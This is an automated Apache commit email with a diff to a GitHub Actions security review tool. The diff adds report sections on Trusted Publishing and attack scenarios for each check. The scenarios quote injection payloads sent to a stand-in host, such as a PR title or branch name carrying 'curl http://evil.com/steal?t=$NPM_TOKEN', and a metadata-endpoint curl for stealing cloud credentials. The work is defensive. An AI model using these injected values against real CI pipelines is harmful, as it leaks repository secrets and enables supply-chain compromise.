This is an automated email from the ASF dual-hosted git repository.

akm pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git


The following commit(s) were added to refs/heads/main by this push:
     new e23409d  Adding trusted publishing and attack examples
e23409d is described below

commit e23409d6569fa2dbb71d71f81d1df270f8229fd6
Author: Andrew Musselman <[email protected]>
AuthorDate: Mon Apr 6 18:26:20 2026 -0700

    Adding trusted publishing and attack examples
---
 repos/apache/github-review/agents/json-export.py   |  89 ++++++++++
 repos/apache/github-review/agents/publishing.py    |  46 +++++
 .../github-review/agents/{summary.py => review.py} | 193 +++++++++++++++++++++
 repos/apache/github-review/agents/security.py      |   4 +
 4 files changed, 332 insertions(+)

diff --git a/repos/apache/github-review/agents/json-export.py 
b/repos/apache/github-review/agents/json-export.py
index de557aa..9cf96cb 100644
--- a/repos/apache/github-review/agents/json-export.py
+++ b/repos/apache/github-review/agents/json-export.py
@@ -203,11 +203,100 @@ async def run(input_dict, tools):
                 "findings": finding_records,
             })
 
+        # --- Check definitions with attack scenarios ---
+        check_definitions = {
+            "prt_checkout": {
+                "label": "PR Target Code Execution",
+                "severity": "CRITICAL",
+                "description": "Workflow uses pull_request_target and checks 
out the PR head code.",
+                "attack": "An external contributor opens a PR that modifies a 
script executed by the workflow. Because pull_request_target runs with the base 
repo's secrets and write permissions, the attacker's code executes with full 
access to repository secrets, signing keys, and can push malicious releases.",
+                "example": "1. Attacker forks the repo\n2. Modifies build.sh 
to exfiltrate $NPM_TOKEN to an external server\n3. Opens PR — workflow checks 
out attacker's branch and runs build.sh\n4. Secrets are leaked; attacker 
publishes backdoored package",
+            },
+            "composite_action_input_injection": {
+                "label": "Composite Action Hidden Injection",
+                "severity": "HIGH",
+                "description": "Composite action interpolates inputs.* 
directly in run: blocks.",
+                "attack": "A workflow passes user-controlled values (PR title, 
branch name) to a composite action via with:. The composite action directly 
interpolates these in a shell run: block. The injection is hidden from 
workflow-level code review.",
+                "example": "1. Composite action has: run: echo \"Building ${{ 
inputs.version }}\"\n2. Workflow calls it with: version: ${{ 
github.event.pull_request.title }}\n3. Attacker sets PR title to: \"; curl 
http://evil.com/steal?t=$NPM_TOKEN #\n4. Shell executes the injected command 
with workflow secrets",
+            },
+            "run_block_injection": {
+                "label": "Workflow Script Injection",
+                "severity": "LOW-MEDIUM",
+                "description": "Direct ${{ }} interpolation of values in 
workflow run: blocks.",
+                "attack": "When untrusted values (PR titles, branch names, 
issue bodies) are interpolated directly into shell scripts via ${{ }}, an 
attacker can inject arbitrary shell commands.",
+                "example": "1. Workflow has: run: echo \"Branch: ${{ 
github.head_ref }}\"\n2. Attacker creates branch named: main\"; curl 
http://evil.com/steal?t=$SECRET #\n3. Shell interprets the branch name as a 
command\n4. Fix: pass through env: block and reference as $BRANCH",
+            },
+            "unpinned_actions": {
+                "label": "Unpinned Action Tags",
+                "severity": "MEDIUM",
+                "description": "Actions referenced by mutable version tags 
instead of SHA-pinned commits.",
+                "attack": "An attacker compromises an action's repository and 
pushes malicious code to an existing tag. Every workflow referencing that tag 
immediately runs the compromised code. This happened in the 
tj-actions/changed-files attack (March 2025).",
+                "example": "1. Workflow uses actions/setup-node@v4 (mutable 
tag)\n2. Attacker compromises the action repo and force-pushes to the v4 
tag\n3. Next workflow run executes attacker's code with full repo access\n4. 
Fix: pin to SHA — actions/setup-node@1a4442cacd436585916f",
+            },
+            "composite_action_unpinned": {
+                "label": "Unpinned Actions in Composite Actions",
+                "severity": "MEDIUM",
+                "description": "Composite actions reference other actions by 
mutable tags.",
+                "attack": "Same supply chain risk as unpinned workflow 
actions, but harder to audit. Reviewers checking .github/workflows/ won't see 
the unpinned refs buried inside .github/actions/*/action.yml.",
+                "example": "1. Composite action uses actions/cache@v4\n2. 15 
workflows call this composite action\n3. actions/cache@v4 tag is 
compromised\n4. All 15 workflows are now executing malicious code",
+            },
+            "composite_action_injection": {
+                "label": "Composite Action Input Interpolation",
+                "severity": "LOW",
+                "description": "Composite action interpolates inputs in run: 
blocks (trusted callers today).",
+                "attack": "Currently called only from trusted contexts, but if 
a future workflow passes untrusted input to this composite action, the 
interpolation becomes exploitable. The injection surface is pre-positioned.",
+                "example": "1. Composite action has: run: ./build.sh 
--version=${{ inputs.version }}\n2. Today, only called from workflow_dispatch 
(committers only) — safe\n3. Future PR adds: version: ${{ 
github.event.pull_request.head.ref }}\n4. Now attacker-controlled input flows 
into shell execution",
+            },
+            "broad_permissions": {
+                "label": "Overly Broad Token Permissions",
+                "severity": "LOW",
+                "description": "Workflow requests more GITHUB_TOKEN scopes 
than needed.",
+                "attack": "A workflow with excessive scopes gives any 
compromised step the ability to push code, close issues, merge PRs, and modify 
releases. Least-privilege would limit blast radius.",
+                "example": "1. Workflow has permissions: { contents: write, 
issues: write }\n2. A third-party action in the workflow is compromised\n3. 
Compromised action uses GITHUB_TOKEN to push a backdoor commit\n4. Fix: 
restrict to only needed scopes per job",
+            },
+            "cache_poisoning": {
+                "label": "Cache Poisoning via PR",
+                "severity": "INFO",
+                "description": "Workflow uses actions/cache with pull_request 
trigger.",
+                "attack": "An attacker's PR can populate the GitHub Actions 
cache with malicious build artifacts. If the cache key is predictable, 
subsequent runs on the main branch may restore the poisoned cache.",
+                "example": "1. Workflow caches node_modules on PR events\n2. 
Attacker's PR modifies package-lock.json to add a malicious package\n3. Cache 
is populated with attacker's dependencies\n4. Next main-branch build restores 
the poisoned cache",
+            },
+            "missing_codeowners": {
+                "label": "No CODEOWNERS File",
+                "severity": "LOW",
+                "description": "Repository has no CODEOWNERS file for workflow 
change review.",
+                "attack": "Without CODEOWNERS requiring security team review 
of .github/ changes, any committer can modify workflow files, add new triggers, 
or introduce injection patterns without mandatory security review.",
+                "example": "1. Committer adds pull_request_target trigger to 
an existing workflow\n2. No CODEOWNERS rule requires security review for 
.github/ changes\n3. PR is merged with standard code review\n4. Workflow is now 
vulnerable to external PRs",
+            },
+            "codeowners_gap": {
+                "label": "CODEOWNERS Missing .github/ Coverage",
+                "severity": "LOW",
+                "description": "CODEOWNERS exists but has no rule covering 
.github/ directory.",
+                "attack": "The repo has CODEOWNERS for source code but forgot 
to add .github/ coverage. Workflow modifications slip through without security 
review.",
+                "example": "1. CODEOWNERS has: *.java @security-team but no 
.github/ rule\n2. Committer modifies .github/workflows/release.yml\n3. Change 
bypasses security team review\n4. Fix: add /.github/ @security-team to 
CODEOWNERS",
+            },
+            "third_party_actions": {
+                "label": "Third-Party Actions",
+                "severity": "INFO",
+                "description": "Workflow uses actions from outside the 
actions/ and github/ organizations.",
+                "attack": "Third-party actions run with full access to the 
workflow's GITHUB_TOKEN and secrets. A compromised maintainer account or repo 
transfer can turn a trusted action into a supply chain attack vector.",
+                "example": "1. Workflow uses cool-org/deploy-action@v2\n2. 
cool-org maintainer's GitHub account is compromised\n3. Attacker pushes 
malicious code to the v2 tag\n4. Every repo using this action now leaks secrets 
on next run",
+            },
+            "self_hosted_runner": {
+                "label": "Self-Hosted Runner Exposure",
+                "severity": "MEDIUM",
+                "description": "Workflow runs on self-hosted runners with PR 
triggers.",
+                "attack": "Self-hosted runners persist state between jobs. An 
attacker's PR can execute arbitrary code on the runner, install backdoors, or 
steal credentials cached on disk.",
+                "example": "1. Workflow runs on self-hosted runner and 
triggers on pull_request\n2. Attacker's PR executes: curl 
http://169.254.169.254/latest/meta-data/\n3. AWS instance credentials are 
exfiltrated\n4. Attacker gains access to internal infrastructure",
+            },
+        }
+
         # --- Build top-level summary ---
         output = {
             "schema_version": "1.0",
             "owner": owner,
             "generated_at": 
__import__("datetime").datetime.utcnow().isoformat() + "Z",
+            "check_definitions": check_definitions,
             "summary": {
                 "repos_scanned": pub_stats.get("repos_scanned", 0),
                 "repos_with_workflows": pub_stats.get("repos_with_workflows", 
0),
diff --git a/repos/apache/github-review/agents/publishing.py 
b/repos/apache/github-review/agents/publishing.py
index c9ee349..362a7c5 100644
--- a/repos/apache/github-review/agents/publishing.py
+++ b/repos/apache/github-review/agents/publishing.py
@@ -680,6 +680,49 @@ async def run(input_dict, tools):
                 lines.append(f"| {eco} | {count} | {pct:.1f}% |")
             lines.append("")
 
+        # --- Already Using Trusted Publishing ---
+        tp_already = []
+        for w in release_wfs + snapshot_wfs:
+            ecosystems = w.get("ecosystems") or []
+            auth = safe_str(w.get("auth_method"))
+            for eco in ecosystems:
+                if eco in TRUSTED_PUBLISHING_ECOSYSTEMS and not 
uses_long_lived_token(auth):
+                    auth_lower = auth.lower()
+                    if "oidc" in auth_lower or "trusted publisher" in 
auth_lower or "id-token" in auth_lower:
+                        tp_info = TRUSTED_PUBLISHING_ECOSYSTEMS[eco]
+                        tp_already.append({
+                            "repo": w.get("repo", "?"), "file": w.get("file", 
"?"),
+                            "ecosystem": eco, "ecosystem_label": 
tp_info["label"],
+                            "auth_method": auth, "category": 
safe_str(w.get("category")),
+                        })
+
+        if tp_already:
+            lines.append("## Already Using Trusted Publishing\n")
+            lines.append("These workflows publish to OIDC-capable ecosystems 
and are already using "
+                         "Trusted Publishing — no stored secrets needed for 
publishing.\n")
+
+            tp_already_by_eco = {}
+            for opp in tp_already:
+                tp_already_by_eco.setdefault(opp["ecosystem"], []).append(opp)
+
+            for eco, opps in sorted(tp_already_by_eco.items()):
+                info = TRUSTED_PUBLISHING_ECOSYSTEMS[eco]
+                lines.append(f"### {info['label']}\n")
+                lines.append("| Repository | Workflow | Auth Method | Category 
|")
+                
lines.append("|------------|----------|------------|----------|")
+                seen = set()
+                for opp in sorted(opps, key=lambda x: (x["repo"], x["file"])):
+                    dedup_key = f"{opp['repo']}:{opp['file']}:{eco}"
+                    if dedup_key in seen:
+                        continue
+                    seen.add(dedup_key)
+                    cat_label = CATEGORY_LABELS.get(opp["category"], 
opp["category"])
+                    lines.append(f"| {opp['repo']} | `{opp['file']}` | 
{sanitize_md(opp['auth_method'])} | {cat_label} |")
+                lines.append("")
+        else:
+            lines.append("## Already Using Trusted Publishing\n")
+            lines.append("No workflows detected using OIDC Trusted Publishing 
yet.\n")
+
         # --- Trusted Publishing Opportunities ---
         tp_opportunities = []
         for w in release_wfs + snapshot_wfs:
@@ -916,6 +959,8 @@ async def run(input_dict, tools):
         toc_lines.append(f"- [Executive Summary](#{to_anchor('Executive 
Summary')})")
         if release_ecosystems:
             toc_lines.append(f"- [Package Ecosystem 
Distribution](#{to_anchor('Package Ecosystem Distribution releases snapshots 
only')})")
+        if tp_already:
+            toc_lines.append(f"- [Already Using Trusted 
Publishing](#{to_anchor('Already Using Trusted Publishing')}) 
({len(tp_already)})")
         if tp_opportunities:
             toc_lines.append(f"- [Trusted Publishing 
Opportunities](#{to_anchor('Trusted Publishing Migration Opportunities')}) 
({len(tp_opportunities)})")
         if release_wfs:
@@ -962,6 +1007,7 @@ async def run(input_dict, tools):
             "trusted_input_count": len(trusted_input_notes),
             "downgraded_count": len(downgraded_notes),
             "trusted_publishing_opportunities": len(tp_opportunities),
+            "trusted_publishing_already": len(tp_already),
         })
 
         return {"outputText": full_report}
diff --git a/repos/apache/github-review/agents/summary.py 
b/repos/apache/github-review/agents/review.py
similarity index 59%
rename from repos/apache/github-review/agents/summary.py
rename to repos/apache/github-review/agents/review.py
index 0455785..a93bb44 100644
--- a/repos/apache/github-review/agents/summary.py
+++ b/repos/apache/github-review/agents/review.py
@@ -234,6 +234,199 @@ async def run(input_dict, tools):
         lines.append(f"| Top ecosystems | {eco_summary} |")
         lines.append("")
 
+        # --- Findings by Vulnerability Type ---
+        check_counts = sec_stats.get("check_counts", {})
+        # Filter out informational-only checks
+        info_checks = {"composite_actions_scanned", 
"missing_dependency_updates"}
+        vuln_checks = {k: v for k, v in check_counts.items() if k not in 
info_checks and v > 0}
+
+        ATTACK_SCENARIOS = {
+            "prt_checkout": {
+                "label": "PR Target Code Execution",
+                "severity": "CRITICAL",
+                "description": "Workflow uses `pull_request_target` and checks 
out the PR head code.",
+                "attack": ("An external contributor opens a PR that modifies a 
script executed by the workflow. "
+                           "Because `pull_request_target` runs with the *base* 
repo's secrets and write permissions, "
+                           "the attacker's code executes with full access to 
repository secrets, NPM_TOKENs, "
+                           "signing keys, and can push malicious releases."),
+                "example": ("1. Attacker forks the repo\n"
+                            "2. Modifies `build.sh` to exfiltrate `$NPM_TOKEN` 
to an external server\n"
+                            "3. Opens PR — workflow checks out attacker's 
branch and runs `build.sh`\n"
+                            "4. Secrets are leaked; attacker publishes 
backdoored package"),
+            },
+            "composite_action_input_injection": {
+                "label": "Composite Action Hidden Injection",
+                "severity": "HIGH",
+                "description": "Composite action interpolates `inputs.*` 
directly in `run:` blocks.",
+                "attack": ("A workflow passes user-controlled values (PR 
title, branch name, label) to a composite action "
+                           "via `with:`. The composite action directly 
interpolates these in a shell `run:` block. "
+                           "The injection is hidden from workflow-level code 
review because reviewers see "
+                           "`with: { version: ${{ inputs.version }} }` — which 
looks safe — but inside the composite "
+                           "action, that value is used as `echo ${{ 
inputs.version }}` in a shell context."),
+                "example": ("1. Composite action has: `run: echo \"Building 
${{ inputs.version }}\"`\n"
+                            "2. Workflow calls it with: `version: ${{ 
github.event.pull_request.title }}`\n"
+                            "3. Attacker sets PR title to: `\"; curl 
http://evil.com/steal?t=$NPM_TOKEN #`\n"
+                            "4. Shell executes the injected command with 
workflow secrets"),
+            },
+            "run_block_injection": {
+                "label": "Workflow Script Injection",
+                "severity": "LOW–MEDIUM",
+                "description": "Direct `${{ }}` interpolation of values in 
workflow `run:` blocks.",
+                "attack": ("When untrusted values (PR titles, branch names, 
issue bodies) are interpolated directly "
+                           "into shell scripts via `${{ }}`, an attacker can 
inject arbitrary shell commands. "
+                           "Even trusted values like `secrets.*` or 
`workflow_dispatch` inputs risk log leakage "
+                           "or accidental command injection from malformed 
input."),
+                "example": ("1. Workflow has: `run: echo \"Branch: ${{ 
github.head_ref }}\"`\n"
+                            "2. Attacker creates branch named: `main\"; curl 
http://evil.com/steal?t=$SECRET #`\n"
+                            "3. Shell interprets the branch name as a 
command\n"
+                            "4. Fix: pass through `env:` block and reference 
as `$BRANCH`"),
+            },
+            "unpinned_actions": {
+                "label": "Unpinned Action Tags",
+                "severity": "MEDIUM",
+                "description": "Actions referenced by mutable version tags 
instead of SHA-pinned commits.",
+                "attack": ("An attacker compromises an action's repository (or 
a maintainer account) and pushes "
+                           "malicious code to an existing tag like `v4`. Every 
workflow referencing `actions/checkout@v4` "
+                           "immediately runs the compromised code. This 
happened in the real-world `tj-actions/changed-files` "
+                           "supply chain attack (March 2025)."),
+                "example": ("1. Workflow uses `actions/setup-node@v4` (mutable 
tag)\n"
+                            "2. Attacker compromises the action repo and 
force-pushes to the `v4` tag\n"
+                            "3. Next workflow run executes attacker's code 
with full repo access\n"
+                            "4. Fix: pin to SHA — 
`actions/setup-node@1a4442cacd436585916f`"),
+            },
+            "composite_action_unpinned": {
+                "label": "Unpinned Actions in Composite Actions",
+                "severity": "MEDIUM",
+                "description": "Composite actions reference other actions by 
mutable tags.",
+                "attack": ("Same supply chain risk as unpinned workflow 
actions, but harder to audit. "
+                           "Reviewers checking `.github/workflows/` won't see 
the unpinned refs buried "
+                           "inside `.github/actions/*/action.yml`. A 
compromised dependency action affects "
+                           "all workflows that call the composite action."),
+                "example": ("1. Composite action 
`.github/actions/build/action.yml` uses `actions/cache@v4`\n"
+                            "2. 15 workflows call this composite action\n"
+                            "3. `actions/cache@v4` tag is compromised\n"
+                            "4. All 15 workflows are now executing malicious 
code"),
+            },
+            "composite_action_injection": {
+                "label": "Composite Action Input Interpolation",
+                "severity": "LOW",
+                "description": "Composite action interpolates inputs in `run:` 
blocks (trusted callers today).",
+                "attack": ("Currently called only from trusted contexts 
(workflow_dispatch, push to main), "
+                           "but if a future workflow passes untrusted input 
(PR title, comment body) to this "
+                           "composite action, the interpolation becomes 
exploitable. The injection surface "
+                           "is pre-positioned — it just needs an unsafe 
caller."),
+                "example": ("1. Composite action has: `run: ./build.sh 
--version=${{ inputs.version }}`\n"
+                            "2. Today, only called from workflow_dispatch 
(committers only) — safe\n"
+                            "3. Future PR adds: `version: ${{ 
github.event.pull_request.head.ref }}`\n"
+                            "4. Now attacker-controlled input flows into shell 
execution"),
+            },
+            "broad_permissions": {
+                "label": "Overly Broad Token Permissions",
+                "severity": "LOW",
+                "description": "Workflow requests more GITHUB_TOKEN scopes 
than needed.",
+                "attack": ("A workflow with `contents: write`, `issues: 
write`, and `pull-requests: write` "
+                           "gives any compromised step (via unpinned action or 
injection) the ability to "
+                           "push code, close issues, merge PRs, and modify 
releases. Least-privilege would "
+                           "limit blast radius."),
+                "example": ("1. Workflow has `permissions: { contents: write, 
issues: write }`\n"
+                            "2. A third-party action in the workflow is 
compromised\n"
+                            "3. Compromised action uses GITHUB_TOKEN to push a 
backdoor commit\n"
+                            "4. Fix: restrict to only needed scopes per job"),
+            },
+            "cache_poisoning": {
+                "label": "Cache Poisoning via PR",
+                "severity": "INFO",
+                "description": "Workflow uses `actions/cache` with 
pull_request trigger.",
+                "attack": ("An attacker's PR can populate the GitHub Actions 
cache with malicious build "
+                           "artifacts or dependencies. If the cache key is 
predictable (e.g., based on "
+                           "`hashFiles('**/package-lock.json')`), subsequent 
runs on the main branch "
+                           "may restore the poisoned cache."),
+                "example": ("1. Workflow caches `node_modules` on PR events\n"
+                            "2. Attacker's PR modifies `package-lock.json` to 
add a malicious package\n"
+                            "3. Cache is populated with attacker's 
dependencies\n"
+                            "4. Next main-branch build restores the poisoned 
cache"),
+            },
+            "missing_codeowners": {
+                "label": "No CODEOWNERS File",
+                "severity": "LOW",
+                "description": "Repository has no CODEOWNERS file for workflow 
change review.",
+                "attack": ("Without CODEOWNERS requiring security team review 
of `.github/` changes, "
+                           "any committer can modify workflow files, add new 
triggers, weaken permissions, "
+                           "or introduce injection patterns without mandatory 
security review."),
+                "example": ("1. Committer adds `pull_request_target` trigger 
to an existing workflow\n"
+                            "2. No CODEOWNERS rule requires security review 
for `.github/` changes\n"
+                            "3. PR is merged with standard code review 
(reviewer may miss security implication)\n"
+                            "4. Workflow is now vulnerable to external PRs"),
+            },
+            "codeowners_gap": {
+                "label": "CODEOWNERS Missing .github/ Coverage",
+                "severity": "LOW",
+                "description": "CODEOWNERS exists but has no rule covering 
`.github/` directory.",
+                "attack": ("Same risk as missing CODEOWNERS but more subtle — 
the repo has CODEOWNERS for source "
+                           "code but forgot to add `.github/` coverage. 
Security team reviews code changes "
+                           "but workflow modifications slip through."),
+                "example": ("1. CODEOWNERS has: `*.java @security-team` but no 
`.github/` rule\n"
+                            "2. Committer modifies 
`.github/workflows/release.yml`\n"
+                            "3. Change bypasses security team review\n"
+                            "4. Fix: add `/.github/ @security-team` to 
CODEOWNERS"),
+            },
+            "third_party_actions": {
+                "label": "Third-Party Actions",
+                "severity": "INFO",
+                "description": "Workflow uses actions from outside the 
`actions/` and `github/` organizations.",
+                "attack": ("Third-party actions run with full access to the 
workflow's GITHUB_TOKEN and secrets. "
+                           "A compromised maintainer account, repo transfer, 
or typosquat can turn a "
+                           "trusted action into a supply chain attack 
vector."),
+                "example": ("1. Workflow uses `cool-org/deploy-action@v2`\n"
+                            "2. `cool-org` maintainer's GitHub account is 
compromised\n"
+                            "3. Attacker pushes malicious code to the `v2` 
tag\n"
+                            "4. Every repo using this action now leaks secrets 
on next run"),
+            },
+            "self_hosted_runner": {
+                "label": "Self-Hosted Runner Exposure",
+                "severity": "MEDIUM",
+                "description": "Workflow runs on self-hosted runners with PR 
triggers.",
+                "attack": ("Self-hosted runners persist state between jobs. An 
attacker's PR can execute "
+                           "arbitrary code on the runner, install backdoors, 
steal credentials cached on disk, "
+                           "or pivot to internal networks the runner has 
access to."),
+                "example": ("1. Workflow runs on `self-hosted` runner and 
triggers on `pull_request`\n"
+                            "2. Attacker's PR executes: `curl 
http://169.254.169.254/latest/meta-data/`\n";
+                            "3. AWS instance credentials are exfiltrated\n"
+                            "4. Attacker gains access to internal 
infrastructure"),
+            },
+        }
+
+        if vuln_checks:
+            lines.append("## Findings by Vulnerability Type\n")
+            lines.append("| Vulnerability | Count | Severity | Description |")
+            lines.append("|--------------|-------|----------|-------------|")
+
+            for check, count in sorted(vuln_checks.items(), key=lambda x: 
-x[1]):
+                scenario = ATTACK_SCENARIOS.get(check, {})
+                label = scenario.get("label", check)
+                sev_label = scenario.get("severity", "—")
+                desc = scenario.get("description", "")
+                lines.append(f"| [{label}](#{anchor(label)}) | {count} | 
{sev_label} | {desc} |")
+
+            lines.append("")
+
+            # --- Attack Scenario Details ---
+            lines.append("## Attack Scenarios\n")
+            lines.append("For each vulnerability type found, here is how an 
attacker could exploit it.\n")
+
+            for check, count in sorted(vuln_checks.items(), key=lambda x: 
-x[1]):
+                scenario = ATTACK_SCENARIOS.get(check)
+                if not scenario:
+                    continue
+                label = scenario["label"]
+                lines.append(f"### {label}\n")
+                lines.append(f"**{count} instances found** | Severity: 
**{scenario['severity']}**\n")
+                lines.append(f"{scenario['attack']}\n")
+                lines.append(f"**Example attack:**\n")
+                for step in scenario["example"].split("\n"):
+                    lines.append(step)
+                lines.append("")
+
         # --- CRITICAL + HIGH publishing tier ---
         immediate = critical_repos + high_publishing
         if immediate:
diff --git a/repos/apache/github-review/agents/security.py 
b/repos/apache/github-review/agents/security.py
index fedbe4e..8b00c26 100644
--- a/repos/apache/github-review/agents/security.py
+++ b/repos/apache/github-review/agents/security.py
@@ -373,6 +373,10 @@ async def run(input_dict, tools):
                 action_refs = extract_action_refs(content)
                 all_action_refs.extend([(wf_name, ref) for ref in action_refs])
 
+                # NOTE: When adding a new check type, also add a matching 
entry to
+                # ATTACK_SCENARIOS in Agent 3 (report combiner) so the 
combined report
+                # includes an attack scenario description for the new check.
+
                 # Check 1: pull_request_target + checkout
                 prt = check_prt_checkout(content)
                 if prt:


---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to